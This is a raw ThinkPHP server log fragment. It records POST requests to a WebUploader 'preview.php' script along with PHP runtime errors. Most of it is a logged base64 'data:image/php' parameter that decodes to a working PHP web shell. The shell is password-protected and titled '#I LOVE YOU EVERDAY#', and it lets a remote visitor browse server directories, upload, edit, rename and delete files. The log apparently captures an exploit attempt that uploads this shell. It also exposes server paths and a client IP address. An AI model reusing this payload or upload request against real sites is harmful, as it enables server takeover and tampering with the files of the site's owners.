QogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:23+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/admin/Widget/webuploader/0.1.5/server/preview.php [运行时间:0.002657s] [吞吐率:376.37req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5